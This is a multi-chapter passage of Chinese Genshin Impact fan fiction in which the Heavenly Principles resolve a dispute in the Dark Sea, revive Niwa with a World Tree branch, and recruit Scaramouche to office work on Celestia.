而刚刚还在任由自己性子、强词夺理跟巴尔泽布打起来的原海巨灵顿时感觉大事不妙。 他默默把自己的身躯离得吞星之鲸远远的,然后在天理视线转移到他这里来的瞬间开始撇清关系:“我跟真的它不熟,真的!您一定要相信我!!我真的非常非常喜欢人类,时时刻刻牢记您在把我们放生到暗之外海之前的千叮咛万嘱咐,从来没有想过离开暗之外海,友善待人、同所有魔神和睦相处——暗之外海对于弱小的人类太危险了!我只是想保护他们,是巴尔泽布上来就要抢人。真的,您一定要相信我!!我绝对没有想要勾结深渊复辟古龙大权的意思!!” 一边说着,原海巨灵褪去了身上的所有水甲,小心翼翼地压着水花,把自己翻过面来,向维尔金展示着刚刚被巴尔泽布连环斩击的柔软腹部,试图卖惨:“您看,巴尔泽布身上都没有一点伤口,都是我在单方面挨打!” 已经从海兽们口中了解到事情缘由的维尔金挑了挑眉,默认了原海巨灵的解释,无情的大手伸向还试图躲在原海巨灵身后的吞星之鲸。 这位从无光星海彼端而来的鲸鱼惊恐地发现,自己窝在星球多年、靠着使劲吞噬才积攒的力量居然都从身体里面跑了出去。吞星之鲸惊恐地看着越来越高大的同族和神明,最后变成了一个如小球一遍的球体。 维尔金捡起小球,仔细端详。 虽说那条形似原海巨灵的大鲸鱼身体表面都充斥着深渊的恶心味道,但是内核,却意外地很雷同,颇有一种深渊对本地特产进行原装一比一复刻的熟悉之感———— 作者有话说:算是一次极其难得的并肩作战? 吞星之鲸:让我看看,这里怎么也有同类? 呀也,不是同类! 不好!是钓鱼执法! 呀也,前几年吃的饭都被打出来了QAQ 第58章 第 58 章 奥罗巴斯的祈求 只是深渊的伪物对提瓦特世间万物的拙劣模仿罢了。 这条宇宙之中降临的无知生物, 既然凝聚实体之后同深渊混迹在一起,以吸食星球内核的原始胎海为生,就应该要做好落到天理手上后被碾碎的准备。 维尔金摆弄着珠子, 随手将之放到了因为背着海祇岛而刚刚才气喘吁吁地感到现场的奥罗巴斯头上。 吞星之鲸的内核来自于提瓦特之外的无尽星空, 在剥离了原始胎海水的积淀和深渊的臭气后, 小球表面流光溢彩, 蓝色的荧光一如将遥远的宇宙星空烙印其中。蕴藏星空内核的珠子和紫樱色的珊瑚枝交相辉映, 珍珠别在了王冠之上,维尔金也满意地点了点头: “不错不错,深渊的造物也算难得有些用处。这个就送给你了,奥罗巴斯,不出意外的话, 很快就能用的上了。” 奥罗巴斯受宠若惊,他没想到天理居然在原海巨灵和巴尔泽布在暗之外海闹得如此不可开交之时,还有闲情逸致妆点一下他头上空荡荡的珊瑚枝。尤其是在巴尔泽布和原海巨灵还在场的情况下, 天理莫名其妙地给他一个赏赐…… 不会是以退为进, 打算秋后算账吧? 奥罗巴斯无比忐忑,脑子里甚至已经开始回忆往前数两千年那会他干的坏事。 但是维尔金可没工夫理会奥罗巴斯在心底对他的妖魔化。 下一秒,奥罗巴斯身上陡然一轻, 海祇岛被维尔金从他的身上拔起放在暗之外海的海面。因为害怕像原海巨灵和奥赛尔手下这样的家伙动不动去玩弄人类, 奥罗巴斯一直不敢将海祇岛卸下来。好不容易卸下背上的重担, 奥罗巴斯伸了个久违的拦腰, 见到维尔金如此和颜悦色, 奥罗巴斯也不禁微微松了一口气,扭动的大蛇在暗之外海成了一条宽大的海带。 维尔金勾了勾手指,把任性地把人类当做玩具的原海巨灵使唤过来。后者更是一步三回头,瑟瑟发抖地磨蹭着到维尔金的手边, 等待着命运的宣判—— 伟大的利维坦大人啊!您忠诚地眷属夺过了火焰焚烧的大海、夺过了席卷提瓦特大陆的魔神战争,安安分分几千年,结果居然为了赌气把自己的小命给丢了!利维坦大人……呜呜呜呜……我无言面见大家呜呜呜呜…… 原海巨灵从来没有这么希望自己的身体能够再小一点,最好是像人类一样,游个半天都游不回岸上。磨磨蹭蹭好一阵,原海巨灵最终还是愁眉苦脸地卧在维尔金身边,一副慷慨就义的模样: “呜呜呜……维尔金大人,请下手快一点,不要因为我是一条鲸鱼就觉得我不怕痛……其实我早就想说了,您打魔神下手好重,其实真的很痛的。” 维尔金歪头,非常不解地问:“我又没说要把你怎么,你这是……?” 有时候维尔金真的想不明白,这些旧日的残党们为何总是暗地里给自己加戏。 原海巨灵的哭腔瞬间停止,呆愣了一瞬: “欸?” “暗之外海啊,这里是暗之外海!” 还是熟记维尔金颁布的各项规则的派蒙小声地在原海巨灵耳朵边提醒。 对哦,这里是暗之外海。 瞬间像是找到免死金牌的原海巨灵又支楞了起来,随即在同维尔金那金色的眼眸对视的一瞬间,又将巨大的身躯重新埋在暗之外海? 虽然说暗之外海是天理钦定的长生种的乐园啦……哪怕原海巨灵一开始就是拿这条规则来堵巴尔泽布……但这能一样吗? 它跟巴尔泽布这个还能过上几招,就算打不过,在没人拖后腿的情况下,逃跑也绝对没有问题。但这可是维尔金大人诶! 跟天理抖机灵玩规则,真的不会被拧巴拧巴变成奥罗巴斯头上那个珊瑚枝的又一个装饰品吗? 原海巨灵忐忑不安地等待最后的宣判。 维尔金抬起手,揉了揉原来巨灵水元素构成的柔软身躯。 水族手感也不错,就是脑仁小小的,听不太懂人话。 “只是好心办坏事而已,我又不是那种无理取闹的家伙。以后要记住了——” 维尔金对这只自暗之外海同提瓦特大陆隔绝开来便再也没有见过人类的原海巨灵叮嘱道: “不要把人类当做没话题硬聊的玩具。” 原海巨灵在影跃跃欲试对准它再来一刀和散兵怒极反笑的眼神中欢快的拍打出阵水花。 问题不大,反正不出意外的话,这辈子原海巨灵再也看不见一个人类了。 原海巨灵默默安慰自己,暗之外海跟奇形怪状的大家抬头不见低头见,一时之间忘记了人类是多么脆弱的一种生物。 更何况……它的本意也不是把人类当玩具,它只是单纯地想从奥罗巴斯这里套话。但既然天理已经知道了一切,那是不是可以趁着他现在看上去心情不错,从他那里得到答案呢? 总是在不该胆子大的时候胆子过大的原海巨灵默默抬起头,小小的眼睛中凝聚着强烈的求知欲: “维尔金大人,我有一个问题。” 奥罗巴斯顿觉大事不妙。 原海巨灵什么都好,就是明明性格软绵绵的比奥赛尔还像水,可一旦有想要弄清楚的事情,就非得要打破砂锅问到底。 原海巨灵眨巴眨巴小眼睛:“为什么奥罗巴斯的海祇岛上面的人类……” “啊,如果是这个问题——”维尔金制止住了原海巨灵后面的问题,先是施展了一个禁言,以防原海巨灵又说点什么不该说的。 说不出来话的原海巨灵陡然感觉到自己头上的大手一沉,后者顿了顿,用轻松愉悦的语气说出极其意有所指的警告: “少问点,说不定利维坦还有机会回来。” 维尔金不轻不重地捏了捏原海巨灵柔软的背脊,舒适的触感让他舍不得把手拿开。不管怎样,在天理发话后,原海巨灵立刻偃旗息鼓,不再缠着海祇岛人血脉上的异状问个不停。 “天理大人,那海祇岛……” 影却忍不住了,她冒着风险前来暗之外海的唯一目的就是把进入暗之外海的海祇岛带回去。 奥罗巴斯望向巴尔泽布,虽然心中不舍,但他很清楚,他已经是魔神战争中的手下败将,眼前的不过是全盛时期的残躯灵体。作为常年在暗之外海中沉眠的残缺魔神之一,奥罗巴斯非常清楚对于他们这些魔神以及长生种而言,人类的诱惑力太大了。 先前是因为有天理作保,所以就算有人好奇甚至是觊觎海祇岛上的人类,也不敢轻举妄动,但这艘误入暗之外海的人类船只已经将那肉眼可见的未来清清楚楚地展现在奥罗巴斯眼前—— 哪怕如巴尔泽布,也很难再暗之外海中护住人类,更别说是他了。 所以,让巴尔泽布把海祇岛带回稻妻才是最正确的决定。 奥罗巴斯留恋地望着自己曾经一点一点搭起珊瑚枝桠,才将他们送上去的人类们。 他们中应该没有人从那个年代活到了今天。白夜国的秘密随着名为奥罗巴斯之魔神在历史上的落幕成为了一个飘渺无影的传说。 也足够了。 奥罗巴斯发自内心为海祇岛人又一次躲过神罚而感到高兴。 “拜托你了,巴尔泽布。还请对他们温柔一点……” 影点了点头。 执掌雷光的神明郑重地向这位愿意为了子民引颈就戮的魔神保证: “请放心,我一定会好好照顾他们的。” 暗之外海有数不清的魔神和长生种,所以这里很安全。 但提瓦特大陆不同,在那里,深渊的爪牙始终窥伺着地表的王国。巴尔泽布的确足够强大,但他在暗之外海也曾听闻坎瑞亚灾变里深渊的可怖。 那是他们在印象里天理吃过的唯一一次瘪。 大蛇将这些日子来,子民们用海祇岛上的珊瑚枝折成的桂冠脱下,天理所赠的蕴藏着星空之力的珠子镶嵌其中。 一如千百年前,他将从暗之外海中抢夺来的宝物摘下,将之作为了海祇岛人踏上陆地的踏板一样,这一次,他同样将在暗之外海获得的赠礼转交于他的人类。 海祇岛的最高处,珊瑚宫心海双手接过来自于奥罗巴斯又一次临别时的宝贵赠礼。 “感谢您的馈赠,远吕羽氏尊。” 奥罗巴斯向维尔金献上维系他灵魂得以在暗之外海的脊骨——巴尔泽布当年的一招一式可没有手下留情,他能留有灵魂来到暗之外海,全凭着这一小节脊骨。 大蛇低下头,向尘世真正的主人,讨要一份能够让海祇岛真真正正地生存下去的礼物。 “尊贵的天理,我知道凡是皆有代价,我也知晓,提瓦特的一切与您而言不过是心随神念——” 乳白色的脊骨漂浮在维尔金面前,爱着海祇岛人、并始终以他们的神明自居的奥罗巴斯,向天理祈求着赐予已然属于提瓦特大陆的人类们的最后一份礼物: “求求您,赦免那片本不应该存在于地上的土地,让海祇岛的土壤中能够生长出供给村民的作物吧!” 维尔金将那径直的小块脊骨推回给奥罗巴斯,又在后者似乎要整条蛇都悲伤得要垮掉的时候,手指指向了那颗由吞星之鲸化作的珠子,一边感慨大蛇的举动总是能够恰好戳中他的心尖—— “奥罗巴斯,你总能找到最正确的答案。” “将吞星之鲸化作的珠子放入海祇岛的珊瑚礁群,残留的原始胎海水会洗刷掉旧日的一切,将生机带回你们的海祇岛。” 奥罗巴斯简直无法言明自己内心的欢欣—— 还有什么比看见海祇岛能够像一座正常岛屿一样成为稻妻的一份子、更令这个爱着子民的魔神而感到雀跃的呢? 维尔金顿了顿,扭头看向巴尔泽布和散兵,像是突然想起来什么一般,眼睛打量着二人,随后视线锁定在散兵身上—— “你……是不是拔了我的地脉之花?” 第59章 第 59 章 维系者,我们天空岛有救…… 地脉之花? 影不解:“那不是深埋于地下, 专被用来记录地脉异常的道具吗?” 国崩没事干拔它做什么? 是啊,维尔金也无法理解散兵的脑回路。他见过想抢神之心的,见过抢神之眼的, 头一遭见到有人抢地脉之花。 哪怕是深渊魔物, 都不怎么理会这些遍布提瓦特大陆的花朵。深渊相信, 等天理看到地脉记录的时候, 他们都已经换了不知道多少个据点了。 若不是散兵心口处充溢着浓烈的地脉之花气味胜过一切雄辩, 维尔金做梦都想不到,世界上居然还有人盯着他宝贵的全自动文书生成道具霍霍。 一旦被从土地中拔出,失去赖以生存的地脉力量的地脉之花便会迅速枯萎,如果当事人没有及时将未曾上报给天空岛的数据导出,宝贵的数据将随着地脉之花的枯萎烟消云散。 维尔金都不敢细想, 散兵拔下来的那朵地脉之花里面究竟有多少尚未整理完毕的报告。 要知道,巴尔泽布可是有足足五百年没向天空岛汇报过工作! 散兵看着天理越来越难看的颜色,心中陡然一惊。 他没想到, 魔神重现没能让天理脸色大变, 一朵地脉之花却做到了。 他在心底按按记下:地脉之花对于天理而言很重要。 全然不知道维尔金已经两眼一黑,开始在脑内规划补天计划的散兵单手握拳于胸口,深深向前者鞠了一躬。 “抱歉, 维尔金大人。唯独这朵地脉之花……我真切地恳求您的宽宏大量, 请容许他留在我的身边。” 虽然不知道地脉之花的具体作用是什么, 但是散兵能够感受到属于丹羽的心脏在他胸腔中砰砰跳动, 尤其是见到天理之后, 散兵甚至感受到,丹羽的心脏产生了几分擅离职守的愧疚感,这颗错失百年的心脏开始隐隐抽痛,像是对着维尔金有千言万语, 却无法严明。 散兵按下呼之欲出的、属于地脉之花的情感部分,将自己趁稻妻混乱、前往踏鞴砂寻找百年前自己离开稻妻、成为冰神麾下执行官之前的一段经历全盘脱出。 “我明白地脉之花对于地脉力量的重要性,但……踏鞴砂多年来因为崇神力量污染,地脉力量已经几近干涸。全靠这颗人类的心脏,地脉之花才勉强存活下来……” 若不是丹羽的心脏成为类似于力量净化器的装置,这朵地脉之花甚至维持不到散兵把它拔下来的那一天。 丹羽的心脏本来就属于他才对。虽然他曾经将它扔下,但那是博士在从中作梗,他绝对不会允许自己再度失去丹羽的遗物。 “……事情就是如此,维尔金大人,我恳求您能够允许我留下丹羽的心脏。” 维尔金若有所思,如果是这样,也不难解释为何地脉之花会在暗之外海才彻底失去供给来源,发出那道吸引天理目光的呐喊。 因为,那不是地脉之花在呐喊。 那是名为丹羽之人附着在地脉之花的灵魂,又一次见到友人奔赴危险而发出的求援信号。 只不过…… “地脉之花倒不是什么大问题,但是地脉之花会自动记录周遭的一切异常,也就是说……” 维尔金头疼道:“你得补上这空缺的几百年文书报告——又因为巴尔泽布已经有五百年没有做述职,所以至少得补五百年的文书……你知道这意味着什么吗?” 散兵疑惑:“不是直接补全就可以了吗?” 五百年的文书而已,还只有踏鞴砂那么一小块地方的文书,又不是什么难事。 “那可是需要很详细的补充哦,每一处异样都要手写补足!”担心散兵意识不到所缺失的五百年文书究竟意味着多么繁重的工作了,维尔金忍不住再度强调了一遍。 他就不信,玛尔巴斯这么慧眼识人才,手底下的执行官一个个都是些公文报告的好手。 哪知散兵理所当然地点点头:“没错,这不是很简单的吗?我原先奉至冬女皇之令探索深渊的时候,每天都需要将探索的地形、遇见的魔物分门别类汇总,每次战斗过后,还需要单独撰写文书报告——如果只是需要补足地脉的异样的话,很快就能搞定了。” 维尔金眼睛一亮:地脉之花就是用来专门记录并生成地脉异样报告,如果有人能够补齐报告,那就没什么问题了。 拔下这朵地脉之花,地脉会自动在涌流处重新凝聚生成一朵新的地脉之花。只是因为被拔下之后,原先的记录会全部丢失。如果有人能够代替他手写,那地脉之花…… 拔了就拔了吧。 维尔金直接答应了散兵的请求。 散兵刚松了一口气,心中却有一种奇怪的哽咽感觉,正当他继续打算强行镇压下去这份不适感的时候,作为地脉之花的时间比作为人类时间更长的枯萎心脏礼貌地敲了敲人偶的胸腔,随后极其失礼地从内打开了心脏的门户。 散兵瞳孔睁大,不光是他,就连影和维尔金也为这心脏自己从身体跑出来见世面的震撼场景震惊得短暂失语。 见多识广的维尔金最先认出心脏的身份:“这就是你说的……那个人类的心脏?” 散兵此时也有些不太确定了。踏鞴砂一事太过久远,博士那个王八蛋给他留下的心理阴影虽然让他能够一眼认出来友人的心脏,但是……眼前这番诡异的景象却让他不由自主地怀疑: 这真的是丹羽留给他的那颗心脏吗? 是否有些过于健壮了? 不过很快,散兵就打消了这份疑虑。 心脏产生自主意识疑似跑路的情节终究没有发生,丹羽的心脏如他本人一般信守承诺,恪尽职守,在意识到眼前的正是心心念念的将军和地脉之花真正的主人之后,散兵的周身凝聚出一圈金色的花粉,对地脉之花机制无比熟悉的维尔金立刻道: “巴尔泽布,快接住地脉记录!” 话音未落,数不清的地脉记录卷轴有如火山喷发一样井喷,而罪魁祸首在递交完报告完成工作任务后,安抚了一下震惊过度的好友后,丹羽的心脏把门一关,徒留外面的人面对着小一人高的手写版地脉汇总面面相觑。 维尔金:好……好有个性的地脉之花,啊不对,好有个性的人类……好像也有哪里不对。 维尔金放弃思考,满怀敬意地在巴尔泽布抱着的文书顶端拿下一张报告,下一秒就被这精妙绝伦、巅峰造极的如同模板一样的文书所震撼。 这—— 维尔金甚至不敢相信自己的眼睛:按时间顺序分门别类归纳好的文书、详细记述事情经过公正概述、以及对踏鞴砂如今现状的问题总结—— 这…… 这朵天选地脉之花居然在被拔下来之前就已经自己保存好了所有的异常报告,并且手动将其整理完善。 “考虑一下来天空岛工作吗?”维尔金感动得热泪盈眶,甚至兴致勃勃地向散兵和丹羽的心脏发出正式邀请: “作为入职福利,我可以满足你们一人一个不影响提瓦特大陆、不对世界规则产生影响的愿望哦!” 他们天空岛最需要的就是这样的人才! 维尔金的承诺让散兵格外心动—— 一人一个不影响提瓦特大陆、不对世界规则产生影响的愿望…… 散兵迫不及待问道:“那可以让那些……因我被奸邪之人所欺诈而错杀之人重新拥有生命吗?” 那些被他错误地认为是罪魁祸首的雷电五传及其传人……他们不该沦落至此。如果能够借此机会将他们的命运修正…… 影从小山高的文书中精准定位到了散兵作为「国崩」时期在踏鞴砂的报告。 维尔金接过去,仔细查阅后,缓缓摇头:“很遗憾,这涉及到提瓦特世界的底层逻辑,我不能随意更改。” 历史从来不是孤立的,牵一发而动全身。世界树那个头疼的存在,光是让布耶尔看守、不许任何人乱动都能动不动出岔子…… 维尔金不敢想,手动修改之后的世界树究竟会给提瓦特留下多少麻烦。 散兵微微低眸,虽然心里也有了预期,但是听到就连天理也无法修整他过去所犯下的罪孽时,他的心脏依旧是微微抽动了一番…… 等等!心脏!丹羽! 紫色的眼眸瞬间亮起,散兵的语气中带着希翼:“如果不是修改底层逻辑……只是单纯的让他们在现在的提瓦特复活呢?” “理论上可以,但是有先决条件——”维尔金解释道,“人类死去后,灵魂重归星空,如果你想要复活某人,需要在浩如烟海的星辰中找到你所想要的灵魂,再用世界树的枝桠雕刻身体,将灵魂置于此中,就能让死者复活。” 方法说起来很简单,维尔金也不怕别人知晓。 无他,光是精准找到灵魂和取下世界树枝桠这两点,就绝非常人力所能及。 “那……丹羽,就是这颗心脏的主人……请问您能够让他复活吗?” 维尔金了然:那个和地脉之花形成共生关系的人类。 “可以是可以啦……” 散兵即答:“好的没问题,请问什么时候去天空岛报道?我现在就能够工作。” 维尔金;! 如此美妙的语句,简直就是天籁之音! 生怕好不容易骗到手的劳动力退缩,维尔金迫不及待地拿出之前还没来得及派上用场的一次性版本兼伪造成神之心边角料的晶化骨髓,火速联系上还在天空岛上任劳任怨的维系者。后者正因为时间之魔神和天理本人的双双下界,文书和公务以火箭般的速度成指数级增长而濒临暴怒的边缘。 不过两秒,电话立刻接通,饱含怒火的声音从另一边传来: “有话快说,别逼我亲自下来扇你。还有,我让派蒙带下去的公文你怎么还没交上来?维尔金,你不会还没补完吧?” “先不说这些扫兴的事情,我亲爱的维系者——” 维尔金选择性忽略另一边维系者的质问,兴奋地催促自己的得力下属,“快下来接人,我们天空岛的公务和文书有救了!” 第60章 第 60 章 可靠下属活捉开摆上司(…… “哦, 那难得。” 远在天空岛的维系者无动于衷,麻木地处理着正源源不断传输到天空岛上的报表,在百忙之中随便敷衍道: “真是不容易, 都几千年了, 你终于想着优化一下下面的地脉之花了。是打算弄一个地脉之花魔神出来吗?想法不错, 但是我提醒一下, 如今不比当年, 人类已经长得漫山遍野到处都是,这时候才想着优化地脉之花底层设置,你要是搞出一堆毛病出来,别指望我去收拾烂摊子。” 维尔金双手合十,友善提醒: “你会错意了, 我最勤奋、善战、负责又明事理的可靠下属,地脉之花是不可能继续优化的了,但是作为补充, 我为你招聘了一个助手来减轻负担。” 远在天空岛处理公务的维系者精神一振, 瞬间拍案而起,纷纷扬扬的公文落在洁白松软的云朵上,透过一堆堆如同宫殿那么大的公文小山, 锐利的目光直直盯向传讯的来源之地, 暗之外海。 维系者的兴奋瞬间被暗之外海的海水淹没, 坐回了自己的专属云朵手作款靠背椅, 继续面无表情地批改公文。 她就知道世界上没有这么美的事情, 还在暗之外海给她找的助手? 维系者对此不抱希望。与其指望维尔金那烂的要命的眼光和暗之外海那群三瓜俩枣,头脑简单,四肢也不甚发达的家伙们,还不如靠自己多干点, 顺便等会顺着坐标把跟着维尔金乐不思蜀的派蒙抓上来继续干活。 维系者又重新低头处理手头上的文件,计算了维尔金几人所在地的坐标后,随口问道:“又是谁家小孩被你骗过来做免费劳动力了?不会拿两颗糖就把人家骗过来了吧?” 维尔金正色:“怎么会,人家有几百年的处理文书的丰富经验呢,我刚从玛尔巴斯手底下挖过来的人才……玛尔巴斯现在应该还不知道,咱们抓紧把手续办完,省得到时候她来嚎我抢她优秀员工。” 捕捉到关键词的维系者立马起身,毫不犹豫地收拾东西火速下界。 维尔金看人的眼光不准,但是玛尔巴斯看人的眼光肯定准! 巨大的火球从天而降,驻守在天空岛的最后一名执政留下了一个临时分身,提着入职材料直奔暗之外海。也多亏当年,维尔金留了暗之外海一条快速通道以免暗之外海的长生种们闹事,维系者很快就出现在众人眼前。 白色的长发飘荡在空中,写满晦涩难懂字符的飘带随风飘扬,金色的眼眸扫视一圈,略过了空后,随即将视线锁定在维尔金身上,直接道: “新同事呢?我来给新同事发福利了。” 维系者降临的冲击让海祇岛和死兆星号上的可怜人类们陷入了集体的昏厥,若不是维尔金眼疾手快将他们统统打包到空间裂缝传送到暗之外海边缘,在维系者犹如太阳一般的生猛力量的镇压下,找些可怜的人类怕是要遭受一次无妄之灾,甚至从此都对大海和太阳产生心理阴影。 空双手紧紧握拳,哪怕已经知晓荧已经站在了深渊的阵线,但他还是忍不住将敌视的目光投向这个拆散他们兄妹、迫使他们不得不分离的直接导火索。 维系者和维尔金一样,他们早就习惯了周遭生物的敌视和咒骂,所以空的视线没有让她有多么在意,她现在放下公务,是要处理更加要紧的事情。 比如别让新人直接跑路。 维系者一手拿着巨大的麻袋,一手提着临时被她翻出来的、当年魔神战争期间剩下来的神装,直直地从天上降临到暗之外海。毕竟是处在非提瓦特大陆的暧昧地带,维系者直接选择了最粗暴的方式,直接从工位上跳了下来,前来迎接她宝贵的新同事。 如果同事乖乖跟她上去干活,那么右手的神装是给予明辨事理者的奖赏;如果同事想要离职,那么左手的麻袋用来套走他们逃避工作的身躯。冷酷无情的维系者会用最直接的物理攻击把她的同事捉回工位。 维系者环视一圈,面对着暗之外海昏迷的人类、被物理迁徙到暗之外海的岛屿,以及乱七八糟记不清楚的家伙们,她眉头一挑,将话锋指向紧赶慢赶催自己下界的直属上司,对着盘成蚊香圈,一看就是刚刚天理还赐福过的奥罗巴斯毫不客气地说道: “奥罗巴斯能干得明白文书这活吗?招人咱们也得招个有爪子、能够写字审批的吧?” “搞错了,是这位。” 维尔金将散兵拉出来,隆重向维系者介绍道: “散兵,巴尔泽布家出生长大,后来在玛尔巴斯手底下干活,绝对的根正苗红。不光如此,他胸口中的心脏更是附赠一位以人类灵魂凭依到地脉之花上、兢兢业业替巴尔泽布完成了所有手写的地脉异常报告的、千古难得一见型人才!” 不错。 维系者欣慰地看向被维尔金推出来的散兵,说道:“既然如此,派蒙你先上去把我两千年前写的入职手册找出来。” 被点名的派蒙连身形都萎靡了一圈,垂头丧气道:“……唉,好的好的……又得要上去干活了……” 维系者将天空岛工作制服丢给散兵。 “诺,拿着员工制服,跟我走。等会上去我先给你做入职培训。” 散兵接住维系者丢过来的衣袍,上面铭刻的神纹让他不禁暗自心惊:果然,不愧是象征着提瓦特最高权力的天空岛,就连随随便便的文书工作的员工制服上都铭刻着堪比璃月天权星的群玉阁的防御阵法。 维系者看向维尔金,在后者的同意下,开启了回到天空岛的快速通道。 “等等——” 散兵急忙道,他看向维尔金,一手捂着好不容易才获得、又即将逝去的宝贵心脏,说道: “可以先实现我的愿望吗……” 散兵忐忑地看向维尔金,他从未想过自己有一天居然大胆到祈求天理直接当场兑换他的诺言,但他不敢再等了。 单凭流传在提瓦特大陆山关于天空岛的只言片语,散兵就已经做好了此生再也无法回到地面上的准备。如果丹羽在天空岛复活,保不齐终其一生也再也无法回到地面…… 因此,最好的办法是在地上就让丹羽重获身躯。 置于人偶体内的心脏承载着本该死去的友人之灵魂,只差世界树的枝桠就能塑造好身体。 而缺少的世界树枝桠……散兵相信天理有办法。 “可以倒是可以啦,不过你真的确定好了是这个愿望吗?” 维尔金友情提示:“我从地脉之花中看见了你几百年来的夙愿——你确定,要将这个宝贵的愿望,用于让人类丹羽久秀复活吗?” 散兵没有丝毫犹豫,他取出心脏,说道:“这是我欠他的。” 维尔金从半空中撕开一道裂缝,透过这道漆黑的裂缝,散兵隐隐窥见了在一个不似提瓦特大陆的地方,一颗巨树隐隐出现在其中。 还没来得及多看两眼,维尔金麻利地掰下一根似乎是被大火烧灼而在关节处隐隐碳化的枝桠,随后合上了裂缝。 看来,那就是传说之中的世界树了。 散兵将在他的力量孕养下变得鼓鼓囊囊、有了不少生机的心脏,双手递交给维尔金。 将心脏亲手掏出的感觉并不好受,但是,散兵盯着那颗属于丹羽的心脏,对友人复活的喜悦冲淡了人偶内心的空洞。 维尔金接过心脏,断裂的世界树枝桠似乎是感受到了一个无躯无形的灵魂正静待自己成为它的归宿。 断裂的枝桠开始扭曲着形态,逐渐化作一个成年男性的身型,维尔金将丹羽的灵魂同心脏分开,心脏置于木偶的胸腔,灵魂构筑了他的容貌。 再度睁开眼,丹羽看见了久违的倾奇者。 或者说,散兵。 作为踏鞴砂的地脉之花之时,他无法看清楚友人的容貌,只能凭借他的气息和语言分辨出,这是作为人类的丹羽久秀死前一直无法放下心的人偶。他的友人力量越来越强大,但内心的空洞始终让他漫无目的地前行。甚至于这次能够获得心脏的宝贵机会,也因为他而化作了泡影。 冰凉的手抚摸上人偶同样冰凉的面庞,丹羽微微张口,但灵魂尚未完全适应这副久违的人类形体,只能够勉强发出难听的嘶哑声。 散兵抓住丹羽的手腕,将友人毫无温度却宛若炙火的手掌心贴近自己空荡荡的胸腔,他对丹羽道: “我已经找到了你家族的仅剩的血脉……丹羽,用属于你的那个愿望,为你的后人换回一个美好的未来吧——” 至于他…… 只是一个为了所求之心犯下大错的人偶罢了。 丹羽本该有美好的未来,他的家族应当永世昌盛。 丹羽无言地摇了摇头,散兵感觉,自己空荡荡的胸腔好似震动了一番。随即,他瞪大眼睛,暂时还无法说话的丹羽强行使用着作为地脉之花的力量,金色的微粒凝聚成了一句短短的言语—— “尊贵的主人,我的愿望是,给国崩一颗属于他自己的心脏——” 维尔金挑眉,看向面无表情的维系者,后者则是看向自己的顶头上司,耸了耸肩,无所谓道: “好事成双,看来我们能够喜提两位尽职尽责的好员工了,不过——” “既然来都来了,干脆,一起先上去一趟吧。” 维系者双手环胸,眼神冰冷—— “如何?翘班下来撰写辞职材料的天理大人?” “你不会以为……装模作样地给我找几个打下手的助理,我就能放你回归到无尽的虚无之中吧?”《 》 60-70 第61章 第 61 章 007黑心大厂和牛马同…… “回归……虚无?” 开什么玩笑! 维尔金不是打算退休后就去享受美好生活吗?怎么, 怎么会是回归虚无呢? 派蒙刚想驳斥维系者那无中生有的揣测,一回头,就看见不再挂着一副悠然自然神情的维尔金微微叹了口气, 心里瞬间慌了神。 维尔金面对这位任劳任怨、自法涅斯陷入永恒沉睡后便一直坚定支持自己的好友兼下属, 也自知不可能再瞒下去心虚的别过头。 沉默被派蒙视为默认, 她慌乱地看向维系者, 试图寻求一个解释:“这到底是怎么一回事?维尔金你说话呀, 你不是才交上新朋友、每天还在开开心心地畅想未来的退休生活吗?我们不是还招到了新人吗,以后工作就不会那么忙了,到时候你退休在提瓦特旅行,我和维系者说不定还能够下去找你一起……” 一切不是已经正在步入正轨了吗? 为什么要说回归虚无这种可怕的话? “……先回天空岛吧,还有维系者, 降临者空的妹妹的事情,还要麻烦你解释一下。” 维系者将视线移向空,点点头。 “虽然你们兄妹让我的工作内容呈指数级暴增, 看在你的确一无所知的份上……” “一起上去吧。” 随后维系者下达命令:“暗之外海的旧日魔神与旧龙王的扈从自行散去即可。巴尔泽布, 你负责将暗之外海边缘的稻妻国土和死兆星船只上的人类送出暗之外海,记得删去他们在暗之外海的所见所闻。” 雷神领命离开,作为天空岛授予执政官之职、管理稻妻的魔神, 巴尔泽布早就想离开这个越看越乱的地方, 赶紧找到自己的子民, 把他们带回到稻妻。 暗之外海又再度回复到往日的平静。 只是, 在风平浪静的海面下, 维系者的话被无数旧日的神明及其扈从咀嚼分析—— 如果天理回归虚无…… 那岂不是相当于,提瓦特的格局又会发生一次翻天覆地的巨变? 有几个同提瓦特大陆的旧友还有些联系的家伙们想起,前段时间,与摩拉克斯陨落的消息一起传到暗之外海的, 还有天理将把祂的王冠、权能乃至一切都托付于下一位原神的消息。 他们此时才惊觉—— 天理这次,居然真的不是在钓鱼执法。 强光散去,空睁开眼,环视四周。 这里就是天空岛了。 大理石柱孤零零地环绕在岛屿的边际,中间是空无一物的巨大草坪,像是有座不能用肉眼看到的巨大宫殿隐藏于此一样。空伸出手,一道流光溢彩的屏障横贯于他们即将前往的地方。 维系者径直经过他的身边,她侧过身,对两位刚入职的新同事说道指了指突兀摆放在边缘的、唯一完好无损的大理石柱,叮嘱道: “记住,正对这根唯一完好的大理石柱的就是天空岛之门,等会我处理完事情之后给你们录入身份信息,先记住开门口令,到时候你们就能够自由在天空岛进出而不触发警报了。口令的话,一句话,很好记——” “我回来了,法涅斯大人。” 随着维系者话音落下,透明的无形之墙缓缓消融在空气之中,位于天空岛正中央的宫殿缓缓显露出它的真貌。 那是一座无法描述肉眼所见到的宫殿。翠绿的草坪应该是有神明在修整打理,规规整整的鲜花环绕着巨大的宫殿,明明是一片欣欣向荣的生气繁荣,却始终弥漫着一股死气。 “维尔金,你跟派蒙带着新人转两圈,我跟你的新朋友有话说。” 维尔金嘱咐:“维系者,不许动手哦,空可是我的新朋友——空,不要害怕维系者,她脾气比较古怪,人还是很好的。” “走啦走啦,维尔金!你还得跟我好好解释一下「回归虚无」是什么情况啊!你这家伙,不是说好了只是打算退休休息休息嘛……” 空仔细看向花圃,才发现其中的古怪。 无论是盛开的鲜花还是方才露出尖角的破土花苗,一切的一切好像被静止在了某一个瞬间,所有的花朵像是被裁剪的立体影像标本,孤零零地当做一个摆件置于正中。 脚踩着的也并非是供养植物的花泥,而是松软洁白的云朵,脚踩在上面,颇有一种快要陷下去的感觉。 宫殿并非由石砖或是别的什么堆砌而成,而是通体如钻石般闪耀的尖塔,高浓度的元素微粒甚至足以凝成实体,环绕着尖塔肆意飘摇。 尖塔的最高处,粗壮的白色光柱直直指向更高之处。 “那是你们最初降落的地方,原本,你们的命运不会出现在提瓦特的星空……原初的那位想方设法分开世界与宇宙之后,便为人类制定了神圣的规划,所有生灵的命运以命星的轨迹呈现于天空的星辰。” 